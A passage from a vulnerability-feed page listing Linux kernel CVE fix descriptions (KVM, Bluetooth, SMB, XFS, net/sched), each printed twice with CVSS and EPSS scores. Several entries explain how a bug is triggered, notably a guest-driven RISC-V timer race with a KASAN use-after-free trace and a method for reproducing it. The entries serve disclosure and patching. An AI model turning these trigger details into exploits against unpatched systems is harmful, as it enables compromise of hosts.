### Linux kernel: KVM: SEV: Do cache maintenance on the source VM during intra-host migration
https://kevwire.com/record/CVE-2026-98471
Linux kernel: KVM: SEV: Do cache maintenance on the source VM during intra-host migration (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

KVM: SEV: Do cache maintenance on the source VM during intra-host migration

Manually perform cache maintenance on the source VM during intra-host
migration to ensure no stale data is left in CPU caches after the VM is
destroyed.  Because the source VM is "converted" to a non-SEV VM, KVM's
memory reclaim flows won't trigger cache maintenance, e.g. when all guest
memory is reclaimed in response to detaching from the mmu_notifier.

Note, relying on the destination VM to do cache maintenance isn't an option
as KVM doesn't require identical guest memory configurations, i.e. the
source VM may have access to memory that the destination VM does not.
Enforcing equivalent memory configurations is infeasible, as it would
require a *deep* comparison of memslots, e.g. to verify that not only are
the memslot identical, but what the memslots point at is also identical.
CVSS 7.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98471).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98471&date=2026-10-25).
Sources:
NVD CVE-2026-98471: https://nvd.nist.gov/vuln/detail/CVE-2026-98471
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98471&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

KVM: SEV: Do cache maintenance on the source VM during intra-host migration

Manually perform cache maintenance on the source VM during intra-host
migration to ensure no stale data is left in CPU caches after the VM is
destroyed.  Because the source VM is "converted" to a non-SEV VM, KVM's
memory reclaim flows won't trigger cache maintenance, e.g. when all guest
memory is reclaimed in response to detaching from the mmu_notifier.

Note, relying on the destination VM to do cache maintenance isn't an option
as KVM doesn't require identical guest memory configurations, i.e. the
source VM may have access to memory that the destination VM does not.
Enforcing equivalent memory configurations is infeasible, as it would
require a *deep* comparison of memslots, e.g. to verify that not only are
the memslot identical, but what the memslots point at is also identical.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: KVM: arm64: Fix AArch32 DBGBXVR<n> handling
https://kevwire.com/record/CVE-2026-98469
Linux kernel: KVM: arm64: Fix AArch32 DBGBXVR<n> handling (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

KVM: arm64: Fix AArch32 DBGBXVR<n> handling

The consolidation of the breakpoint and watchpoint register accessors
switched DBGBXVR<n> from trap_bvr() to trap_dbg_wb_reg(). The latter
selects backing storage with demux_wb_reg(), which only handles Op2 values
4 through 7. Since DBGBXVR<n> uses Op2 1, an AArch32 guest access hits
KVM_BUG_ON() and marks the VM dead.

DBGBXVR<n> aliases DBGBVR<n>_EL1[63:32], and its AA32(HI) descriptor
already selects the upper half. Map Op2 1 to dbg_bvr[] alongside Op2 4,
restoring the pre-regression behavior.
CVSS 7.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98469).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98469&date=2026-10-25).
Sources:
NVD CVE-2026-98469: https://nvd.nist.gov/vuln/detail/CVE-2026-98469
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98469&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

KVM: arm64: Fix AArch32 DBGBXVR<n> handling

The consolidation of the breakpoint and watchpoint register accessors
switched DBGBXVR<n> from trap_bvr() to trap_dbg_wb_reg(). The latter
selects backing storage with demux_wb_reg(), which only handles Op2 values
4 through 7. Since DBGBXVR<n> uses Op2 1, an AArch32 guest access hits
KVM_BUG_ON() and marks the VM dead.

DBGBXVR<n> aliases DBGBVR<n>_EL1[63:32], and its AA32(HI) descriptor
already selects the upper half. Map Op2 1 to dbg_bvr[] alongside Op2 4,
restoring the pre-regression behavior.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: KVM: arm64: Transfer the hyp stack pages out of the host stage-2
https://kevwire.com/record/CVE-2026-98466
Linux kernel: KVM: arm64: Transfer the hyp stack pages out of the host stage-2 (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

KVM: arm64: Transfer the hyp stack pages out of the host stage-2

fix_host_ownership() walks only the linear-map alias of each memblock
region, and the per-CPU hyp stack, mapped in the private VA range for
its guard page, has none.

Walk each stack's VA range with the same walker.
CVSS 8.2 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98466).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98466&date=2026-10-25).
Sources:
NVD CVE-2026-98466: https://nvd.nist.gov/vuln/detail/CVE-2026-98466
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98466&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

KVM: arm64: Transfer the hyp stack pages out of the host stage-2

fix_host_ownership() walks only the linear-map alias of each memblock
region, and the per-CPU hyp stack, mapped in the private VA range for
its guard page, has none.

Walk each stack's VA range with the same walker.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: RISC-V: KVM: Serialize IMSIC attributes with vCPU migration
https://kevwire.com/record/CVE-2026-98465
Linux kernel: RISC-V: KVM: Serialize IMSIC attributes with vCPU migration (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

RISC-V: KVM: Serialize IMSIC attributes with vCPU migration

KVM device ioctls are not serialized against KVM_RUN. As a result,
kvm_riscv_aia_imsic_rw_attr() can snapshot the physical CPU and HGEI of
an IMSIC VS-file before a concurrent vCPU migration releases it.

The HGEI can then be allocated to another vCPU before imsic_vsfile_rw()
uses the stale tuple. A GET or SET attribute may consequently access the
new owner's interrupt file.

Serialize the entire IMSIC attribute operation with the target vCPU
mutex. This prevents the VS-file from being migrated and recycled until
the attribute access completes. Acquire the mutex killably so that the
device ioctl remains interruptible while waiting for KVM_RUN to finish.
CVSS 7.0 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98465).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98465&date=2026-10-25).
Sources:
NVD CVE-2026-98465: https://nvd.nist.gov/vuln/detail/CVE-2026-98465
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98465&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

RISC-V: KVM: Serialize IMSIC attributes with vCPU migration

KVM device ioctls are not serialized against KVM_RUN. As a result,
kvm_riscv_aia_imsic_rw_attr() can snapshot the physical CPU and HGEI of
an IMSIC VS-file before a concurrent vCPU migration releases it.

The HGEI can then be allocated to another vCPU before imsic_vsfile_rw()
uses the stale tuple. A GET or SET attribute may consequently access the
new owner's interrupt file.

Serialize the entire IMSIC attribute operation with the target vCPU
mutex. This prevents the VS-file from being migrated and recycled until
the attribute access completes. Acquire the mutex killably so that the
device ioctl remains interruptible while waiting for KVM_RUN to finish.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: RISC-V: KVM: Synchronize hrtimer callback during teardown
https://kevwire.com/record/CVE-2026-98464
Linux kernel: RISC-V: KVM: Synchronize hrtimer callback during teardown (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

RISC-V: KVM: Synchronize hrtimer callback during teardown

The non-Sstc hrtimer callback clears next_set before its final uses of
the enclosing vCPU.  If teardown observes next_set as false while the
callback is still running, kvm_riscv_vcpu_timer_cancel() skips
hrtimer_cancel() and kvm_destroy_vcpus() can free the vCPU before the
callback enters kvm_riscv_vcpu_set_interrupt().

A guest can arm the timer with SBI TIME and request shutdown with SBI
legacy shutdown or SRST.  A VMM that honors KVM_EXIT_SYSTEM_EVENT and
destroys the VM supplies the teardown side of the race; no post-launch
host ioctl is needed to arm or request teardown.

On upstream master 62cc90241548, generic KASAN reported:

  BUG: KASAN: slab-use-after-free in do_raw_spin_lock
  Write of size 4 at addr ff60000005e58898

  kvm_riscv_vcpu_set_interrupt
  kvm_riscv_vcpu_hrtimer_expired
  __hrtimer_run_queues
  hrtimer_interrupt

The object was allocated by KVM_CREATE_VCPU and freed concurrently by:

  kvm_destroy_vcpus
  kvm_arch_destroy_vm
  kvm_destroy_vm
  __fput

For deterministic validation, I added mdelay(1000) immediately after
the existing next_set = false assignment.  This only widens the
existing post-clear callback window.  A no-delay trace build naturally
reached the callback-after-teardown-start/before-deinit ordering in 12
of 200 runs, but 1,500 stock-kernel stress iterations did not produce a
KASAN report, so natural reproduction is timing-sensitive.

Always invoke hrtimer_cancel() for an initialized timer.  Preserve the
existing -EINVAL result when the timer is no longer set, but only after
synchronizing with a running callback.

With this patch, hrtimer_cancel() blocked for the full widened callback
window before vCPU destruction.  KASAN reported no error in 100
fixed-and-widened runs or 200 fix-only timing-sweep runs.
CVSS 9.3 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98464).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98464&date=2026-10-25).
Sources:
NVD CVE-2026-98464: https://nvd.nist.gov/vuln/detail/CVE-2026-98464
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98464&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

RISC-V: KVM: Synchronize hrtimer callback during teardown

The non-Sstc hrtimer callback clears next_set before its final uses of
the enclosing vCPU.  If teardown observes next_set as false while the
callback is still running, kvm_riscv_vcpu_timer_cancel() skips
hrtimer_cancel() and kvm_destroy_vcpus() can free the vCPU before the
callback enters kvm_riscv_vcpu_set_interrupt().

A guest can arm the timer with SBI TIME and request shutdown with SBI
legacy shutdown or SRST.  A VMM that honors KVM_EXIT_SYSTEM_EVENT and
destroys the VM supplies the teardown side of the race; no post-launch
host ioctl is needed to arm or request teardown.

On upstream master 62cc90241548, generic KASAN reported:

  BUG: KASAN: slab-use-after-free in do_raw_spin_lock
  Write of size 4 at addr ff60000005e58898

  kvm_riscv_vcpu_set_interrupt
  kvm_riscv_vcpu_hrtimer_expired
  __hrtimer_run_queues
  hrtimer_interrupt

The object was allocated by KVM_CREATE_VCPU and freed concurrently by:

  kvm_destroy_vcpus
  kvm_arch_destroy_vm
  kvm_destroy_vm
  __fput

For deterministic validation, I added mdelay(1000) immediately after
the existing next_set = false assignment.  This only widens the
existing post-clear callback window.  A no-delay trace build naturally
reached the callback-after-teardown-start/before-deinit ordering in 12
of 200 runs, but 1,500 stock-kernel stress iterations did not produce a
KASAN report, so natural reproduction is timing-sensitive.

Always invoke hrtimer_cancel() for an initialized timer.  Preserve the
existing -EINVAL result when the timer is no longer set, but only after
synchronizing with a running callback.

With this patch, hrtimer_cancel() blocked for the full widened callback
window before vCPU destruction.  KASAN reported no error in 100
fixed-and-widened runs or 200 fix-only timing-sweep runs.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: Bluetooth: mgmt: fix race in read_unconf_index_list()
https://kevwire.com/record/CVE-2026-98456
Linux kernel: Bluetooth: mgmt: fix race in read_unconf_index_list() (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

Bluetooth: mgmt: fix race in read_unconf_index_list()

read_unconf_index_list() counts unconfigured controllers before allocating
its response, then checks the device flags again while filling it.

hci_dev_list_lock stabilizes list membership, but it does not serialize the
per-device flags. During asynchronous controller setup, the worker can set
HCI_UNCONFIGURED and clear HCI_SETUP between the two passes. A controller
omitted from the allocation count can then become eligible for the fill
pass, causing an out-of-bounds write to rp->index[].

Allocate space for every device on hci_dev_list. Since list membership
cannot change while hci_dev_list_lock is held, the response remains large
enough regardless of flag transitions. The reported count and response
length still include only eligible unconfigured controllers.
CVSS 7.0 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98456).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98456&date=2026-10-25).
Sources:
NVD CVE-2026-98456: https://nvd.nist.gov/vuln/detail/CVE-2026-98456
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98456&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

Bluetooth: mgmt: fix race in read_unconf_index_list()

read_unconf_index_list() counts unconfigured controllers before allocating
its response, then checks the device flags again while filling it.

hci_dev_list_lock stabilizes list membership, but it does not serialize the
per-device flags. During asynchronous controller setup, the worker can set
HCI_UNCONFIGURED and clear HCI_SETUP between the two passes. A controller
omitted from the allocation count can then become eligible for the fill
pass, causing an out-of-bounds write to rp->index[].

Allocate space for every device on hci_dev_list. Since list membership
cannot change while hci_dev_list_lock is held, the response remains large
enough regardless of flag transitions. The reported count and response
length still include only eligible unconfigured controllers.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: smb: client: fix create context out-of-bounds reads
https://kevwire.com/record/CVE-2026-98454
Linux kernel: smb: client: fix create context out-of-bounds reads (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

smb: client: fix create context out-of-bounds reads

smb2_parse_contexts() validates the complete create-context area but
does not limit each record to its Next field before dispatching it.  A
malformed chain can therefore expose bytes beyond the current context to
a handler.  The QFid handler also used a full response-structure cast
although it only reads DiskFileId.

The SMB2/SMB3 lease parsers made the same layout assumption: they read
LeaseState and LeaseFlags at canonical offsets rather than at
DataOffset.  A valid non-canonical DataOffset could therefore yield
unrelated in-bounds data, while a short DataLength was still accepted.

Limit each context to its Next value, reject offsets before the context
header, and reject malformed chains.  Bound the name range by the current
context and do not dispatch a known handler when DataLength is zero.  Read
the QFid DiskFileId only when the context data covers that field.  Parse the
lease context from DataOffset and require DataLength to match the v1 or v2
lease_context size used by ksmbd.  A size mismatch skips lease parsing
without failing the open.
CVSS 8.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98454).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98454&date=2026-10-25).
Sources:
NVD CVE-2026-98454: https://nvd.nist.gov/vuln/detail/CVE-2026-98454
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98454&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

smb: client: fix create context out-of-bounds reads

smb2_parse_contexts() validates the complete create-context area but
does not limit each record to its Next field before dispatching it.  A
malformed chain can therefore expose bytes beyond the current context to
a handler.  The QFid handler also used a full response-structure cast
although it only reads DiskFileId.

The SMB2/SMB3 lease parsers made the same layout assumption: they read
LeaseState and LeaseFlags at canonical offsets rather than at
DataOffset.  A valid non-canonical DataOffset could therefore yield
unrelated in-bounds data, while a short DataLength was still accepted.

Limit each context to its Next value, reject offsets before the context
header, and reject malformed chains.  Bound the name range by the current
context and do not dispatch a known handler when DataLength is zero.  Read
the QFid DiskFileId only when the context data covers that field.  Parse the
lease context from DataOffset and require DataLength to match the v1 or v2
lease_context size used by ksmbd.  A size mismatch skips lease parsing
without failing the open.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: smb: client: use finish_no_open() for non-regular inodes
https://kevwire.com/record/CVE-2026-98451
Linux kernel: smb: client: use finish_no_open() for non-regular inodes (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

smb: client: use finish_no_open() for non-regular inodes

An O_CREAT open can find an existing symlink or another non-regular
inode. cifs_atomic_open() calls finish_open() on it and attaches a
cifsFileInfo. Symlink inodes have no CIFS release operation, so the
dentry reference held by cifsFileInfo is leaked. FMODE_OPENED also
prevents the VFS from following the symlink.

Track whether cifs_do_create() returned an open server handle. For
non-regular inodes, close the handle if present, remove the pending
open, and call finish_no_open() so the VFS can continue the lookup.
Do not set FMODE_CREATED unless a regular file was opened. For
O_NOFOLLOW with __O_REGULAR, return -ELOOP before the VFS's
-EFTYPE check.

Defer closing a legacy POSIX handle on a non-regular inode until
after inode lookup. This avoids closing it again if lookup fails.
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98451).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98451&date=2026-10-25).
Sources:
NVD CVE-2026-98451: https://nvd.nist.gov/vuln/detail/CVE-2026-98451
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98451&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

smb: client: use finish_no_open() for non-regular inodes

An O_CREAT open can find an existing symlink or another non-regular
inode. cifs_atomic_open() calls finish_open() on it and attaches a
cifsFileInfo. Symlink inodes have no CIFS release operation, so the
dentry reference held by cifsFileInfo is leaked. FMODE_OPENED also
prevents the VFS from following the symlink.

Track whether cifs_do_create() returned an open server handle. For
non-regular inodes, close the handle if present, remove the pending
open, and call finish_no_open() so the VFS can continue the lookup.
Do not set FMODE_CREATED unless a regular file was opened. For
O_NOFOLLOW with __O_REGULAR, return -ELOOP before the VFS's
-EFTYPE check.

Defer closing a legacy POSIX handle on a non-regular inode until
after inode lookup. This avoids closing it again if lookup fails.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: xfs: fix cursor and pointer handling when recovering iunlink buckets
https://kevwire.com/record/CVE-2026-98443
Linux kernel: xfs: fix cursor and pointer handling when recovering iunlink buckets (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

xfs: fix cursor and pointer handling when recovering iunlink buckets

LOLLM pointed out a bug in xlog_recover_iunlink_bucket:

1. We don't null out prev_ip after releasing it, which can lead to UAF
   problems if the inodegc flush call in the loop fails.

at which point I noticed even more bugs:

2. If the inodegc flush inside the loop fails, we also leak @ip.

3. We set prev_agino to agino having already advanced agino, which
   results in inodes with i_prev_unlinked set to itself.

4. If we exit the bottom of the loop with prev_ip set, then prev_ip
   aliases ip and we also set its i_prev_unlinked to itself.

Bugs 3 and 4 introduce loops into the unlinked list, though these loops
don't surface because we immediately flush each unlinked inode after
loading it.

Fix all of these issues.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98443).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98443&date=2026-10-25).
Sources:
NVD CVE-2026-98443: https://nvd.nist.gov/vuln/detail/CVE-2026-98443
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98443&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

xfs: fix cursor and pointer handling when recovering iunlink buckets

LOLLM pointed out a bug in xlog_recover_iunlink_bucket:

1. We don't null out prev_ip after releasing it, which can lead to UAF
   problems if the inodegc flush call in the loop fails.

at which point I noticed even more bugs:

2. If the inodegc flush inside the loop fails, we also leak @ip.

3. We set prev_agino to agino having already advanced agino, which
   results in inodes with i_prev_unlinked set to itself.

4. If we exit the bottom of the loop with prev_ip set, then prev_ip
   aliases ip and we also set its i_prev_unlinked to itself.

Bugs 3 and 4 introduce loops into the unlinked list, though these loops
don't surface because we immediately flush each unlinked inode after
loading it.

Fix all of these issues.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: net/sched: act_ct: fix helper UAF due to extensions realloc
https://kevwire.com/record/CVE-2026-98442
Linux kernel: net/sched: act_ct: fix helper UAF due to extensions realloc (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

net/sched: act_ct: fix helper UAF due to extensions realloc

While calling the helpers, a raw pointer to the extensions area is
wired into expectations list:

  -> nf_ct_helper()
   -> helper->help()
    -> nf_ct_expect_related_report()
     -> nf_ct_expect_insert()
      -> hlist_add_head_rcu(&exp->lnode, &master_help->expectations)

In case the connection is not confirmed yet, more extensions can be
added afterwards with *_ext_add() calls reallocating the extension
space and leaving the now invalid pointer in the expectations list
that is later accessed while removing the expectation.

Make sure that helpers are called at the end after all the other
extensions are already added.

Note that the helper rejection now leaves the mark and labels set,
but that's not different from how the NAT was handled before or how
the mark and the labels were handled on confirmation failure.  And
there are no atomicity guarantees provided by the API anyway.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98442).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98442&date=2026-10-25).
Sources:
NVD CVE-2026-98442: https://nvd.nist.gov/vuln/detail/CVE-2026-98442
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98442&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

net/sched: act_ct: fix helper UAF due to extensions realloc

While calling the helpers, a raw pointer to the extensions area is
wired into expectations list:

  -> nf_ct_helper()
   -> helper->help()
    -> nf_ct_expect_related_report()
     -> nf_ct_expect_insert()
      -> hlist_add_head_rcu(&exp->lnode, &master_help->expectations)

In case the connection is not confirmed yet, more extensions can be
added afterwards with *_ext_add() calls reallocating the extension
space and leaving the now invalid pointer in the expectations list
that is later accessed while removing the expectation.

Make sure that helpers are called at the end after all the other
extensions are already added.

Note that the helper rejection now leaves the mark and labels set,
but that's not different from how the NAT was handled before or how
the mark and the labels were handled on confirmation failure.  And
there are no atomicity guarantees provided by the API anyway.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: net/sched: act_ct: avoid modifying shared unconfirmed ct entry
https://kevwire.com/record/CVE-2026-98441
Linux kernel: net/sched: act_ct: avoid modifying shared unconfirmed ct entry (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

net/sched: act_ct: avoid modifying shared unconfirmed ct entry

In a case where skb with an unconfirmed ct entry gets cloned, we may
end up processing both again but with different sets of extensions.

The series of events:

 1. The first clone wants to commit and runs the helpers wiring up
    the extension pointer into the expectation list.
 2. Then it looses the confirmation keeping the entry unconfirmed.
 3. Second clone now wants to commit labels or run NAT and adds the
    new extension for that breaking the pointer in the expectation
    list causing UAF on the destruction path later.

While this is possible to trigger, there should be no practical
network pipeline where we need to process both clones without
modifications in the same zone.  So, let's just reset the entry in
case for some reason we got an skb with a shared one.  This doesn't
affect any known use cases, but avoids any potential problems with
sharing and modification of the unconfirmed ct entry.

Unlike openvswitch module, act_ct allows for NAT without commit.
Changing that would be a uAPI break.  So, act_ct needs to reset on NAT
regardless of the commit flag to avoid reallocation of the extension
space.  This, however, doesn't really change the picture for sensible
networking cases as there should be no need to run the same packet
twice (before and after the clone) through conntrack without packet
header or zone changes and without commit.

The fixes tag points to the introduction of helpers, since that's the
main UAF trigger for the sharing.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98441).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98441&date=2026-10-25).
Sources:
NVD CVE-2026-98441: https://nvd.nist.gov/vuln/detail/CVE-2026-98441
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98441&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

net/sched: act_ct: avoid modifying shared unconfirmed ct entry

In a case where skb with an unconfirmed ct entry gets cloned, we may
end up processing both again but with different sets of extensions.

The series of events:

 1. The first clone wants to commit and runs the helpers wiring up
    the extension pointer into the expectation list.
 2. Then it looses the confirmation keeping the entry unconfirmed.
 3. Second clone now wants to commit labels or run NAT and adds the
    new extension for that breaking the pointer in the expectation
    list causing UAF on the destruction path later.

While this is possible to trigger, there should be no practical
network pipeline where we need to process both clones without
modifications in the same zone.  So, let's just reset the entry in
case for some reason we got an skb with a shared one.  This doesn't
affect any known use cases, but avoids any potential problems with
sharing and modification of the unconfirmed ct entry.

Unlike openvswitch module, act_ct allows for NAT without commit.
Changing that would be a uAPI break.  So, act_ct needs to reset on NAT
regardless of the commit flag to avoid reallocation of the extension
space.  This, however, doesn't really change the picture for sensible
networking cases as there should be no need to run the same packet
twice (before and after the clone) through conntrack without packet
header or zone changes and without commit.

The fixes tag points to the introduction of helpers, since that's the
main UAF trigger for the sharing.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: KVM: arm64: nv: Delay freeing of shadow S2 structures until VM destruction
https://kevwire.com/record/CVE-2026-98440
Linux kernel: KVM: arm64: nv: Delay freeing of shadow S2 structures until VM destruction (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

KVM: arm64: nv: Delay freeing of shadow S2 structures until VM destruction

We free the shadow S2 structures from kvm_arch_flush_shadow_all(), which
is a Bad Idea(tm). Freeing the page tables is fair game (this is what
this callback is for), but freeing the container that could still be
referenced by another part of the system is not great.

Instead, grow separate destructors that gets called when we tear the VM
down for good. From there, we can nuke both the individual MMUs as well
as the global array that points to them, safe in the knowledge that the
vcpus themselves have been destroyed already.
CVSS 7.0 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98440).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98440&date=2026-10-25).
Sources:
NVD CVE-2026-98440: https://nvd.nist.gov/vuln/detail/CVE-2026-98440
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98440&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

KVM: arm64: nv: Delay freeing of shadow S2 structures until VM destruction

We free the shadow S2 structures from kvm_arch_flush_shadow_all(), which
is a Bad Idea(tm). Freeing the page tables is fair game (this is what
this callback is for), but freeing the container that could still be
referenced by another part of the system is not great.

Instead, grow separate destructors that gets called when we tear the VM
down for good. From there, we can nuke both the individual MMUs as well
as the global array that points to them, safe in the knowledge that the
vcpus themselves have been destroyed already.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: ipv4: free inet_opt and ireq_opt after an RCU grace period
